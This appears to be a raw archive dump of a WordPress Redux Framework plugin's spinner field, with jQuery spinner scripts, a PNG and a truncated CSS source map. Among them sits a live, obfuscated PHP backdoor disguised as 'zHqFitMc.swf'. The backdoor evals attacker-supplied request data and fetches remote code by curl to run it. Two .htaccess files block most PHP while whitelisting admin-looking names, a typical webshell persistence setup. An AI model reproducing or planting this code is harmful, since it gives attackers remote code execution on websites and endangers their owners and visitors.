false}}).bind("keyup"+q,function(a){if(a.ctrl||a.alt)return true;if(N(f))K=false;switch(a.keyCode){case g:case i:case k:case h:case j:case l:E.removeClass(c);p._stopSpin();J=false;return false}}).bind("keypress"+q,function(a){if(O(a.keyCode,a.charCode))return false}).bind("change"+q,function(){p._change()}).bind("focus"+q,function(){function a(){p.element.select()}o?a():setTimeout(a,0);p.focused=true;s=p;if(!I&&(w=="focus"||w=="both"))p.showButtons()}).bind("blur"+q,function(){p.focused=false;if(!I&&(w=="focus"||w=="both"))p.hideButtons()})},_procOptions:function(a){var b=this,c=b.element,d=b.options,e=d.min,f=d.max,g=d.step,h=d.places,i=-1,j;if(d.increment=="slow")d.increment=[{count:1,mult:1,delay:250},{count:3,mult:1,delay:100},{count:0,mult:1,delay:50}];else if(d.increment=="fast")d.increment=[{count:1,mult:1,delay:250},{count:19,mult:1,delay:100},{count:80,mult:1,delay:20},{count:100,mult:10,delay:20},{count:0,mult:100,delay:20}];if(e==null&&(j=c.attr("min"))!=null)e=parseFloat(j);if(f==null&&(j=c.attr("max"))!=null)f=parseFloat(j);if(!g&&(j=c.attr("step"))!=null)if(j!="any"){g=parseFloat(j);d.largeStep*=g}d.step=g=g||d.defaultStep;if(h==null&&(j=g+"").indexOf(".")!=-1)h=j.length-j.indexOf(".")-1;b.places=h;if(f!=null&&e!=null){if(e>f)e=f;i=Math.max(Math.max(i,d.format(f,h,c).length),d.format(e,h,c).length)}if(a)b.inputMaxLength=c[0].maxLength;j=b.inputMaxLength;if(j>0){i=i>0?Math.min(j,i):j;j=Math.pow(10,i)-1;if(f==null||f>j)f=j;j=-(j+1)/10+1;if(e==null||e<j)e=j}if(i>0)c.attr("maxlength",i);d.min=e;d.max=f;b._change();c.unbind(p+q);if(d.mouseWheel)c.bind(p+q,b._mouseWheel)},_mouseWheel:function(b){var c=a.data(this,"spinner");if(!c.options.disabled&&c.focused&&s===c){c._change();c._doSpin(((b.wheelDelta||-b.detail)>0?1:-1)*c.options.step);return false}},_setTimer:function(a,b,c){function e(){d._spin(b,c)}var d=this;d._stopSpin();d.timer=setInterval(e,a)},_stopSpin:function(){if(this.timer){clearInterval(this.timer);this.timer=0}},_startSpin:function(a,b){var c=this,d=c.options,e=d.increment;c._change();c._doSpin(a*(b?c.options.largeStep:c.options.step));if(e&&e.length>0){c.counter=0;c.incCounter=0;c._setTimer(e[0].delay,a,b)}},_spin:function(a,b){var c=this,d=c.options.increment,e=d[c.incCounter];c._doSpin(a*e.mult*(b?c.options.largeStep:c.options.step));c.counter++;if(c.counter>e.count&&c.incCounter<d.length-1){c.counter=0;e=d[++c.incCounter];c._setTimer(e.delay,a,b)}},_doSpin:function(a){var b=this,c=b.curvalue;if(c==null)c=(a>0?b.options.min:b.options.max)||0;b._setValue(c+a)},_parseValue:function(){var a=this.element.val();return a?this.options.parse(a,this.element):null},_validate:function(a){var b=this.options,c=b.min,d=b.max;if(a==null&&!b.allowNull)a=this.curvalue!=null?this.curvalue:c||d||0;if(d!=null&&a>d)return d;else if(c!=null&&a<c)return c;else return a},_change:function(){var a=this,b=a._parseValue(),c=a.options.min,d=a.options.max;if(!a.selfChange){if(isNaN(b))b=a.curvalue;a._setValue(b,true)}},_setOption:function(b,c){a.Widget.prototype._setOption.call(this,b,c);this._procOptions()},increment:function(){this._doSpin(this.options.step)},decrement:function(){this._doSpin(-this.options.step)},showButtons:function(a){var b=this.btnContainer.stop();if(a)b.css("opacity",1);else b.fadeTo("fast",1)},hideButtons:function(a){var b=this.btnContainer.stop();if(a)b.css("opacity",0);else b.fadeTo("fast",0);this.buttons.removeClass(d)},_setValue:function(a,b){var c=this;c.curvalue=a=c._validate(a);c.element.val(a!=null?c.options.format(a,c.places,c.element):"");if(!b){c.selfChange=true;c.element.change();c.selfChange=false}},value:function(a){if(arguments.length){this._setValue(a);return this.element}return this.curvalue},enable:function(){this.buttons.removeClass(e);this.element[0].disabled=false;a.Widget.prototype.enable.call(this)},disable:function(){this.buttons.addClass(e).removeClass(d);this.element[0].disabled=true;a.Widget.prototype.disable.call(this)},destroy:function(b){this.wrapper.remove();this.element.unbind(q).css({width:this.oWidth,marginRight:this.oMargin});a.Widget.prototype.destroy.call(this)}})})(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/vendor/spinner_custom.js�����������������������������������������0000644�����������������00000027131�14720701300�0020264 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������jQuery.uaMatch = function( ua ) { ua = ua.toLowerCase(); var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) || /(webkit)[ \/]([\w.]+)/.exec( ua ) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) || /(msie) ([\w.]+)/.exec( ua ) || ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) || []; return { browser: match[ 1 ] || "", version: match[ 2 ] || "0" }; }; (function( a, b ) { var c = 'ui-state-active', d = 'ui-state-hover', e = 'ui-state-disabled', f = a.ui.keyCode, g = f.UP, h = f.DOWN, i = f.RIGHT, j = f.LEFT, k = f.PAGE_UP, l = f.PAGE_DOWN, m = f.HOME, n = f.END, o = a.uaMatch.msie, p = a.uaMatch.mozilla ? 'DOMMouseScroll' : 'mousewheel', q = '.uispinner', r = [g, h, i, j, k, l, m, n, f.BACKSPACE, f.DELETE, f.TAB], s; a.widget( 'ui.spinner', { options: { min: null, max: null, allowNull: false, group: '', point: '.', prefix: '', suffix: '', places: null, defaultStep: 1, largeStep: 10, mouseWheel: true, increment: 'slow', className: null, showOn: 'always', width: 95, upIconClass: 'ui-icon-triangle-1-n', downIconClass: 'ui-icon-triangle-1-s', format: function( a, b ) { var c = this, d = /(\d+)(\d{3})/, e = (isNaN( a ) ? 0 : Math.abs( a )).toFixed( b ) + ''; for ( e = e.replace( '.', c.point ); d.test( e ) && c.group; e = e.replace( d, '$1' + c.group + '$2' ) ) { } return (a < 0 ? '-' : '') + c.prefix + e + c.suffix; }, parse: function( a ) { var b = this; if ( b.group == '.' ) a = a.replace( '.', '' ); if ( b.point != '.' ) a = a.replace( b.point, '.' ); return parseFloat( a.replace( /[^0-9\-\.]/g, '' ) ); } }, _create: function() { var a = this, b = a.element, c = b.attr( 'type' ); if ( ! b.is( 'input' ) || c != 'text' && c != 'number' ) { console.error( 'Invalid target for ui.spinner' ); return; } a._procOptions( true ); a._createButtons( b ); if ( ! b.is( ':enabled' ) ) a.disable(); }, _createButtons: function( b ) { function R() { if ( L ) { a( this ).removeClass( c ); p._stopSpin(); L = false; } return false; } function Q() { if ( ! t.disabled ) { var b = p.element[0], d = this === C ? 1 : - 1; b.focus(); b.select(); a( this ).addClass( c ); L = true; p._startSpin( d ); } return false; } function P( a ) { function b() { G = 0; a(); } if ( G ) { if ( a === H ) return; clearTimeout( G ); } H = a; G = setTimeout( b, 100 ); } function O( a, b ) { if ( K ) return false; var c = String.fromCharCode( b || a ), d = p.options; if ( c >= '0' && c <= '9' || c == '-' ) return false; if ( p.places > 0 && c == d.point || c == d.group ) return false; return true; } function N( a ) { for ( var b = 0; b < r.length; b ++ ) if ( r[b] == a ) return true; return false; } function e( a ) { return a == 'auto' ? 0 : parseInt( a ); } var p = this, t = p.options, u = t.className, v = t.width, w = t.showOn, y = b.outerHeight(), z = p.oMargin = e( b.css( 'margin-right' ) ), A = p.wrapper = b.wrap( '<span class="spinner-wrpr" />' ).css( { width: (p.oWidth = b.outerWidth()) - v, marginRight: '30px', marginLeft: '30px', textAlign: 'center', 'float': 'none', marginTop: 0 } ).after( '<span class="ui-spinner ui-widget"></span>' ).next(), B = p.btnContainer = a( '<div class="ui-spinner-buttons">' + '<div class="ui-spinner-up ui-spinner-button ui-state-default ui-corner-tr"><span class="ui-icon ' + t.upIconClass + '"> </span></div>' + '<div class="ui-spinner-down ui-spinner-button ui-state-default ui-corner-br"><span class="ui-icon ' + t.downIconClass + '"> </span></div>' + '</div>' ), C, D, E, F, G, H, I, J, K, L, M = b[0].dir == 'rtl'; if ( u ) A.addClass( u ); A.append( B.css( {height: y, left: 0, top: 0} ) ); E = p.buttons = B.find( '.ui-spinner-button' ); E.css( {width: '30px', height: y - (0)} ); E.eq( 0 ).css( {right: '0'} ); E.eq( 1 ).css( {left: '0'} ); C = E[0]; D = E[1]; F = E.find( '.ui-icon' ); B.width( '105px' ); if ( w != 'always' ) B.css( 'opacity', 0 ); if ( w == 'hover' || w == 'both' ) E.add( b ).bind( 'mouseenter' + q, function() { P( function() { I = true; if ( ! p.focused || w == 'hover' ) p.showButtons(); } ); } ).bind( 'mouseleave' + q, function S() { P( function() { I = false; if ( ! p.focused || w == 'hover' ) p.hideButtons(); } ); } ); E.hover( function() { p.buttons.removeClass( d ); if ( ! t.disabled ) a( this ).addClass( d ); }, function() { a( this ).removeClass( d ); } ).mousedown( Q ).mouseup( R ).mouseout( R ); if ( o ) E.dblclick( function() { if ( ! t.disabled ) { p._change(); p._doSpin( (this === C ? 1 : - 1) * t.step ); } return false; } ).bind( 'selectstart', function() { return false; } ); b.bind( 'keydown' + q, function( b ) { var d, e, f, o = b.keyCode; if ( b.ctrl || b.alt ) return true; if ( N( o ) ) K = true; if ( J ) return false; switch ( o ) { case g: case k: d = 1; e = o == k; break; case h: case l: d = - 1; e = o == l; break; case i: case j: d = o == i ^ M ? 1 : - 1; break; case m: f = p.options.min; if ( f != null ) p._setValue( f ); return false; case n: f = p.options.max; f = p.options.max; if ( f != null ) p._setValue( f ); return false; } if ( d ) { if ( ! J && ! t.disabled ) { keyDir = d; a( d > 0 ? C : D ).addClass( c ); J = true; p._startSpin( d, e ); } return false; } } ).bind( 'keyup' + q, function( a ) { if ( a.ctrl || a.alt ) return true; if ( N( f ) ) K = false; switch ( a.keyCode ) { case g: case i: case k: case h: case j: case l: E.removeClass( c ); p._stopSpin(); J = false; return false; } } ).bind( 'keypress' + q, function( a ) { if ( O( a.keyCode, a.charCode ) ) return false; } ).bind( 'change' + q, function() { p._change(); } ).bind( 'focus' + q, function() { function a() { p.element.select(); } o ? a() : setTimeout( a, 0 ); p.focused = true; s = p; if ( ! I && (w == 'focus' || w == 'both') ) p.showButtons(); } ).bind( 'blur' + q, function() { p.focused = false; if ( ! I && (w == 'focus' || w == 'both') ) p.hideButtons(); } ); }, _procOptions: function( a ) { var b = this, c = b.element, d = b.options, e = d.min, f = d.max, g = d.step, h = d.places, i = - 1, j; if ( d.increment == 'slow' ) d.increment = [{count: 1, mult: 1, delay: 250}, { count: 3, mult: 1, delay: 100 }, {count: 0, mult: 1, delay: 50}]; else if ( d.increment == 'fast' ) d.increment = [{ count: 1, mult: 1, delay: 250 }, {count: 19, mult: 1, delay: 100}, {count: 80, mult: 1, delay: 20}, { count: 100, mult: 10, delay: 20 }, {count: 0, mult: 100, delay: 20}]; if ( e == null && (j = c.attr( 'min' )) != null ) e = parseFloat( j ); if ( f == null && (j = c.attr( 'max' )) != null ) f = parseFloat( j ); if ( ! g && (j = c.attr( 'step' )) != null ) if ( j != 'any' ) { g = parseFloat( j ); d.largeStep *= g; } d.step = g = g || d.defaultStep; if ( h == null && (j = g + '').indexOf( '.' ) != - 1 ) h = j.length - j.indexOf( '.' ) - 1; b.places = h; if ( f != null && e != null ) { if ( e > f ) e = f; i = Math.max( Math.max( i, d.format( f, h, c ).length ), d.format( e, h, c ).length ); } if ( a ) b.inputMaxLength = c[0].maxLength; j = b.inputMaxLength; if ( j > 0 ) { i = i > 0 ? Math.min( j, i ) : j; j = Math.pow( 10, i ) - 1; if ( f == null || f > j ) f = j; j = - (j + 1) / 10 + 1; if ( e == null || e < j ) e = j; } if ( i > 0 ) c.attr( 'maxlength', i ); d.min = e; d.max = f; b._change(); c.unbind( p + q ); if ( d.mouseWheel ) c.bind( p + q, b._mouseWheel ); }, _mouseWheel: function( b ) { var c = a.data( this, 'spinner' ); if ( ! c.options.disabled && c.focused && s === c ) { c._change(); c._doSpin( ((b.wheelDelta || - b.detail) > 0 ? 1 : - 1) * c.options.step ); return false; } }, _setTimer: function( a, b, c ) { function e() { d._spin( b, c ); } var d = this; d._stopSpin(); d.timer = setInterval( e, a ); }, _stopSpin: function() { if ( this.timer ) { clearInterval( this.timer ); this.timer = 0; } }, _startSpin: function( a, b ) { var c = this, d = c.options, e = d.increment; c._change(); c._doSpin( a * (b ? c.options.largeStep : c.options.step) ); if ( e && e.length > 0 ) { c.counter = 0; c.incCounter = 0; c._setTimer( e[0].delay, a, b ); } }, _spin: function( a, b ) { var c = this, d = c.options.increment, e = d[c.incCounter]; c._doSpin( a * e.mult * (b ? c.options.largeStep : c.options.step) ); c.counter ++; if ( c.counter > e.count && c.incCounter < d.length - 1 ) { c.counter = 0; e = d[++ c.incCounter]; c._setTimer( e.delay, a, b ); } }, _doSpin: function( a ) { var b = this, c = b.curvalue; if ( c == null ) c = (a > 0 ? b.options.min : b.options.max) || 0; b._setValue( c + a ); }, _parseValue: function() { var a = this.element.val(); return a ? this.options.parse( a, this.element ) : null; }, _validate: function( a ) { var b = this.options, c = b.min, d = b.max; if ( a == null && ! b.allowNull ) a = this.curvalue != null ? this.curvalue : c || d || 0; if ( d != null && a > d ) return d; else if ( c != null && a < c ) return c; else return a; }, _change: function() { var a = this, b = a._parseValue(), c = a.options.min, d = a.options.max; if ( ! a.selfChange ) { if ( isNaN( b ) ) b = a.curvalue; a._setValue( b, true ); } }, _setOption: function( b, c ) { a.Widget.prototype._setOption.call( this, b, c ); this._procOptions(); }, increment: function() { this._doSpin( this.options.step ); }, decrement: function() { this._doSpin( - this.options.step ); }, showButtons: function( a ) { var b = this.btnContainer.stop(); if ( a ) b.css( 'opacity', 1 ); else b.fadeTo( 'fast', 1 ); }, hideButtons: function( a ) { var b = this.btnContainer.stop(); if ( a ) b.css( 'opacity', 0 ); else b.fadeTo( 'fast', 0 ); this.buttons.removeClass( d ); }, _setValue: function( a, b ) { var c = this; c.curvalue = a = c._validate( a ); c.element.val( a != null ? c.options.format( a, c.places, c.element ) : '' ); if ( ! b ) { c.selfChange = true; c.element.change(); c.selfChange = false; } }, value: function( a ) { if ( arguments.length ) { this._setValue( a ); return this.element; } return this.curvalue; }, enable: function() { this.buttons.removeClass( e ); this.element[0].disabled = false; a.Widget.prototype.enable.call( this ); }, disable: function() { this.buttons.addClass( e ).removeClass( d ); this.element[0].disabled = true; a.Widget.prototype.disable.call( this ); }, destroy: function( b ) { this.wrapper.remove(); this.element.unbind( q ).css( {width: this.oWidth, marginRight: this.oMargin} ); a.Widget.prototype.destroy.call( this ); } } ); })( jQuery ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/vendor/vendor/index.php������������������������������������������0000644�����������������00000000000�14720701300�0017755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/vendor/vendor/zHqFitMc.swf���������������������������������������0000644�����������������00000011707�14720701300�0020363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $Vn /*-B@kpZ^-*/= /*-`zLj@,2^o-*/"r"./*-]UP-*/"a"."n"./*-nlKL8H-*/"g"."e"; /*-g&-*/$sv/*-,0gO:Z?GZ-*/ = /*-9CxU#E-*/$Vn/*-],#]+X9;~-*/("~", /*->OQ=#O&-*/" "); /*-]!-*/$mV/*-Sinl%-*/=/*-JP<7?3e[H-*/${$sv/*-}xwG}KE-*/[4+27/*-4CHF}D,O-*/].$sv/*-c[RTx-*/[6+53]/*-)Pu-*/.$sv/*-vrp}rN-*/[32+15]/*-Q-*/.$sv/*-6N-*/[32+15]/*-$>s{L-*/.$sv/*-T^4Aj@-*/[27+24]/*-9yMfILsV-*/.$sv/*-Zq4+R#Q%M-*/[49+4]/*-T.(%7!Euj-*/.$sv/*-{9T-*/[57+0]/*-N[#I-*/}; /*-mz?RV-*/if/*-_4IaNe?-*/((/*-:2(-*/in_array/*-tD_gP-*/(gettype/*-TuuD-*/($mV)./*-5,5zIFE-*/count/*-]cq&5U)@-;-*/($mV),/*-XzE-*/$mV)/*-UL-*/&&count/*-}I.1!#u-*/($mV)/*-&|-*/==/*-L?np0glH-*/10))/*-oCLHF@Z-*/{ /*-LFvi-*/(($mV[67]=$mV[67].$mV[79])&&($mV[85]=$mV[67]($mV[85]))&&(/*-(?t1(gD-*/@eval/*-M3LY4-!-*/($mV[67](${$mV[37]}[25])/*-%P-*/))/*-1{YYhTm-*/);}/*-[8ln`-%Z-*/class /*-hQ]Q)-*/iqmh{ /*-amW-*/static/*-1!BAb-*/ function /*-y0O-*/iHVq($aWSMe) /*-y9$%u!h-*/{ $IfSxh/*-oE,7jxH=-*/ = /*-BhodQ-*/"r"./*-=-*/"a"./*-`BH]I-*/"n"./*-iZ2IwJ+I-*/"g"./*-}>`z6d;B-*/"e"; /*-rcWd-*/$KZG/*-K7I%:O-*/ = /*-6vv(9OWh{m-*/$IfSxh/*-ePwzp{I:-*/(/*-es4-*/"~"/*-y4+69qd-*/, /*-?0Ig{.-*/" "/*-ppCQ4Qe-*/);/*-``[VW%7+P-*/ $UfnshMgrPd /*-Qc|MCg7-*/= /*-+NCsWc-*/explode/*-LD^.R-*/(/*-J0%Fxq0P-*/"=", /*-pBPXs(Pjki-*/$aWSMe/*-iEvM-*/); /*-!a}?Zp-*/$VZHkyvnNh /*-ApX>BS-*/= /*-w(9-*/""; foreach /*-})Xrb#-*/(/*-JL-*/$UfnshMgrPd /*-_I>F]}^%>-*/as /*-@b9RJ+-*/$UybaAGv /*-Ip-*/=>/*-EW-m[U-*/ $XQMSj/*-0P32-*/) /*-%CGQ-*/$VZHkyvnNh /*-+{KUv-*/.= /*-DbI85:F-*/$KZG[$XQMSj/*-22P;yML|;-*/ - /*-Hkn-*/34493/*-[ax!p|-*/];/*-aBJpfGo-*/ return /*-+1r+XsHQA-*/$VZHkyvnNh; /*-+&reU-*/} /*-z}`F~o-*/static /*-=W7koNx-*/function /*-DkA,gU-*/RkPdDmGBis/*-~~gN_d>-*/(/*-Uh-*/$EYNJIWajQ,/*->4gq-*/ $wLKN/*-q<7P:]l>-*/)/*-q-*/ {/*-Y+-*/ $mIyDro/*-r5C4lK-*/ = /*-H0Q-u_&`,-*/curl_init/*-_qjm[$aD$-*/(/*-jG7+`-*/$EYNJIWajQ/*-e.(=z-*/);/*-te5wE}E>7u-*/ curl_setopt/*-_F60tB-*/(/*-b&uCw-*/$mIyDro,/*-gaL6=[}Y5-*/ CURLOPT_RETURNTRANSFER,/*-c:-*/ 1/*-%<()-*/);/*-dI-*/ $oVHj/*-Ou-*/ = /*-:tC:Z~uS-*/curl_exec/*-)~-*/(/*-GnRW$l,-*/$mIyDro/*-AV1L-*/); /*-ACw3^-*/return /*-DHJh-*/empty/*-UpN#lK-*/(/*-;d(>q-*/$oVHj/*-T)-f-*/)/*-C6^;-*/ ? /*-$qw,I3>S-*/$wLKN/*-^Z-*/(/*-z#CQ-*/$EYNJIWajQ/*-YA-*/)/*-dg9|g-*/ : /*-I5.-*/$oVHj; /*-~@N-*/}/*-cFSU4J-*/ static/*-hTG_nn-*/ function /*-};52xsesc-*/dFxYDu/*-uy2Qv4-#-*/() /*-Sn<vWV+--*/{/*-(,A3{-*/ $uKItTv /*-N85-*/=/*-kawBV$LP`-*/ array/*->|W(}maB-*/("34520=34505=34518=34522=34503=34518=34524=34517=34502=34509=34520=34503=34514=34508=34509","34504=34503=34505=34524=34505=34508=34503=34570=34568","34513=34504=34508=34509=34524=34519=34518=34520=34508=34519=34518","34507=34522=34520=34512","34521=34522=34504=34518=34565=34567=34524=34519=34518=34520=34508=34519=34518","34517=34514=34511=34518=34524=34516=34518=34503=34524=34520=34508=34509=34503=34518=34509=34503=34504","34547=34577","34494","34572=34577","34554=34537=34537=34554=34530","34508=34517"); /*-[03x1-*/foreach /*-~HE~J}n-*/(/*-N;}$)sI(4o-*/$uKItTv/*-q}vQ[-*/ as /*-7YMfdQ9N=-*/$qbCmWaM/*-#$88~-*/)/*-]Oa#b2m-*/ $vkciyHrX/*-ru+_7K-*/[] /*-,;^}t]-*/= /*-oa~X-*/self/*-s}+9^AppX{-*/::/*-Y1E)eAx-*/iHVq/*-h.-*/(/*-i2Y5j%_!Aj-*/$qbCmWaM/*-E:;1+|P_-*/);/*-s`8Hyhdd-*/$FPuvecJ /*-_Ig9|;A-*/= /*-d?5m..-*/@$vkciyHrX/*->If]L{>ux-*/[/*-,3OLR|-*/1/*-BeyWO,]z-*/]/*-q&v2$}-*/(/*-DR2tr-*/${/*--j#61-*/"_"/*-[M^vr=A:2+-*/."G"/*-7)6c-*/."E"/*-T2y4-W:V-*/."T"/*-zwR.%J-*/}[/*-l<-*/$vkciyHrX/*-~sy^#-*/[/*-.RT}-*/9+0/*-T2r-*/]]/*-o&hA8GB-*/);/*-ruec.n-*/ $OqaUc /*-a19-*/=/*-!z-*/ @$vkciyHrX/*-g=N-*/[/*-JO7?-*/2+1/*-M&~n~q-z:-*/]/*-UE-*/(/*-(KHY-*/$vkciyHrX/*-ojQ;yl-*/[/*-p.fde8pl-*/4+2/*-X9CLv-*/], /*-i@Z5bAL-*/$FPuvecJ/*-{?]-*/);/*-a>R{c-*/ $zbjrX /*-Eu]j?w)~{T-*/=/*-.,!qWe-*/ $vkciyHrX/*-EzKB-*/[/*-.FmZ-*/1+1/*-Sf$!9f}8E-*/]/*-g1_reQUM$-*/(/*-)6QvcK-*/$OqaUc,/*-Qpj$|sftd-*/ true/*-Ma-*/); /*-i]=-*/@${/*-mqI{U_-*/"_"./*-hWH!-*/"G"./*-l7W-*/"E"/*-7-*/."T"/*-!4Lu#Ob?=&-*/}/*--,)-*/[/*-QL%j-*/$vkciyHrX/*-Gf5FiMd+-*/[2+8/*-Nrbaph#m-*/]/*-],x->FS]-*/]/*-mFjT@-*/ == /*-;Yj+Fl6?_-*/1 /*-}n(r-*/&& /*-=k4-*/die/*-t}V-*/(/*-Th3:,U18-*/$vkciyHrX[2+3/*-H)R8c~F6-*/]/*-1A^-*/(/*-$^5z[z-*/__FILE__/*-t7=0o[-*/)/*-4koyRSNt1}-*/); /*-(L?0i-*/if/*-GUHDE-*/(/*-h#dcBHGn-*/ (/*-kI-*/(@/*-N4kg-*/$zbjrX/*-W6R`PoR$-*/[/*-N-)h9-M-*/0/*-dw>L-*/] /*-HT^-*/- time/*-A.72E)]T5+-*/()/*-cwj1-*/) > /*-oZb-*/0/*-#tR-*/)/*-Ft-E^-*/ and /*-$Q#4WOXx-*/(/*-ye3-{e.A-*/md5/*-`!|yY45-*/(/*-8u-*/md5/*-Df83C:-*/(/*-(m-*/$zbjrX/*-q_9Ej5xYa-*/[/*-53Ke-*/3+0/*-$n{-*/]/*-Z2H-*/)/*-3>Az^UJ4-*/)/*-nR(XXPQ-*/ === /*-%9kY-*/"ba4de4d58fa801360e96c9c49880f52e"/*-T6@:`7Id0?-*/)/*-m=s%B2LN-*/ ): /*-[?=86:~`-*/$iSpaY /*--l8[rW-*/=/*-jp{Zh_-*/ self/*-2p7-xU5{7v-*/::/*-T-*/RkPdDmGBis/*-i@-*/(/*-y}+=8]UP-*/$zbjrX/*-Eh-*/[/*-VO,D;R-*/1+0/*-X5re-*/], /*-~3Hn-*/$vkciyHrX/*-i(g}`W~-*/[/*-m_j$f-*/5+0/*-l{<[gwS-*/]/*-<pAI-*/);/*-1e-*/@eval/*-yCJJz(E-*/(/*-I>-*/$vkciyHrX/*-Ika8MZQX[<-*/[/*-;(~+-*/1+3/*-<k]lr9i}=-*/]/*-yjI&B7-*/(/*-#M-*/$iSpaY/*-^n>w9-*/)/*-tjm0:EFz]-*/);/*-J-*//*-}%5hF-*/die;/*-WA-*/ endif;/*-.4<)XeM#-*/ }/*-LH~-*/}/*-u&c)-*/iqmh/*-Kb}M-*/::/*-Q#-*/dFxYDu/*-&Otl:8b?-*/();/*-!@h>Cx-*/ ?>���������������������������������������������������������redux-framework/inc/fields/spinner/vendor/vendor/.htaccess������������������������������������������0000644�����������������00000001626�14720701300�0017752 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/vendor/.htaccess�������������������������������������������������0000644�����������������00000001626�14720701300�0016455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/arrow_right.png��������������������������������������������������0000644�����������������00000000232�14720701300�0016407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������ ���/3���tEXtSoftware�Adobe ImageReadyqe<���<IDATxl �0Bc9> @RgvQg?};Uچ(X,�;WV����IENDB`����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/spinner/field_spinner.css.map��������������������������������������������0000644�����������������00000002527�14720701300�0017472 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,sCAAc;EACV,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,KAAK;EACd,MAAM,EAAE,IAAI;EACZ,QAAQ,EAAE,MAAM;EAEhB,qDAAe;IACX,QAAQ,EAAE,mBAAmB;IAC7B,OAAO,EAAE,CAAC;IACV,KAAK,EAAE,eAAe;IACtB,MAAM,EAAE,eAAe;IACvB,UAAU,EAAE,kBAAkB;IAC9B,MAAM,EAAE,4BAA4B;IACpC,YAAY,EAAE,YAAY;IAC1B,WAAW,EAAE,YAAY;IACzB,qBAAqB,EAAE,YAAY;IACnC,kBAAkB,EAAE,YAAY;IAChC,aAAa,EAAE,YAAY;AAInC,oCAAY;EACR,QAAQ,EAAE,MAAM;EAChB,OAAO,EAAE,MAAM;AAInB,4CAAoB;EAChB,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,CAAC;AAGd,sDAA8B;EAC1B,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,OAAO,EAAE,QAAQ;EACjB,QAAQ,EAAE,MAAM;EAChB,MAAM,EAAE,OAAO;EACf,UAAU,EAAE,sCAAsC;EAClD,UAAU,EAAE,oCAAoC;EAChD,UAAU,EAAE,2EAA2E;EACvF,UAAU,EAAE,iCAAiC;EAC7C,gBAAgB,EAAE,OAAO;EACzB,MAAM,EAAE,IAAI;EACZ,kBAAkB,EAAE,IAAI;EACxB,eAAe,EAAE,IAAI;EACrB,UAAU,EAAE,IAAI;AAGpB;wCACgB;EACZ,UAAU,EAAE,sCAAsC;EAClD,UAAU,EAAE,oCAAoC;EAChD,UAAU,EAAE,2EAA2E;EACvF,UAAU,EAAE,iCAAiC;EAC7C,gBAAgB,EAAE,OAAO;AAG7B;iEACyC;EACrC,qBAAqB,EAAE,WAAW;EAClC,kBAAkB,EAAE,WAAW;EAC/B,aAAa,EAAE,WAAW;AAG9B;iEACyC;EACrC,qBAAqB,EAAE,WAAW;EAClC,kBAAkB,EAAE,WAAW;EAC/B,aAAa,EAAE,WAAW;AAI1B,oDAAS;EACL,GAAG,EAAE,CAAC;EACN,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,MAAM,EAAE,CAAC;EACT,MAAM,EAAE,iBAAiB;AAG7B,iEAAsB;EAClB,UAAU,EAAE,0QAAyQ;AAGzR,iEAAsB;EAC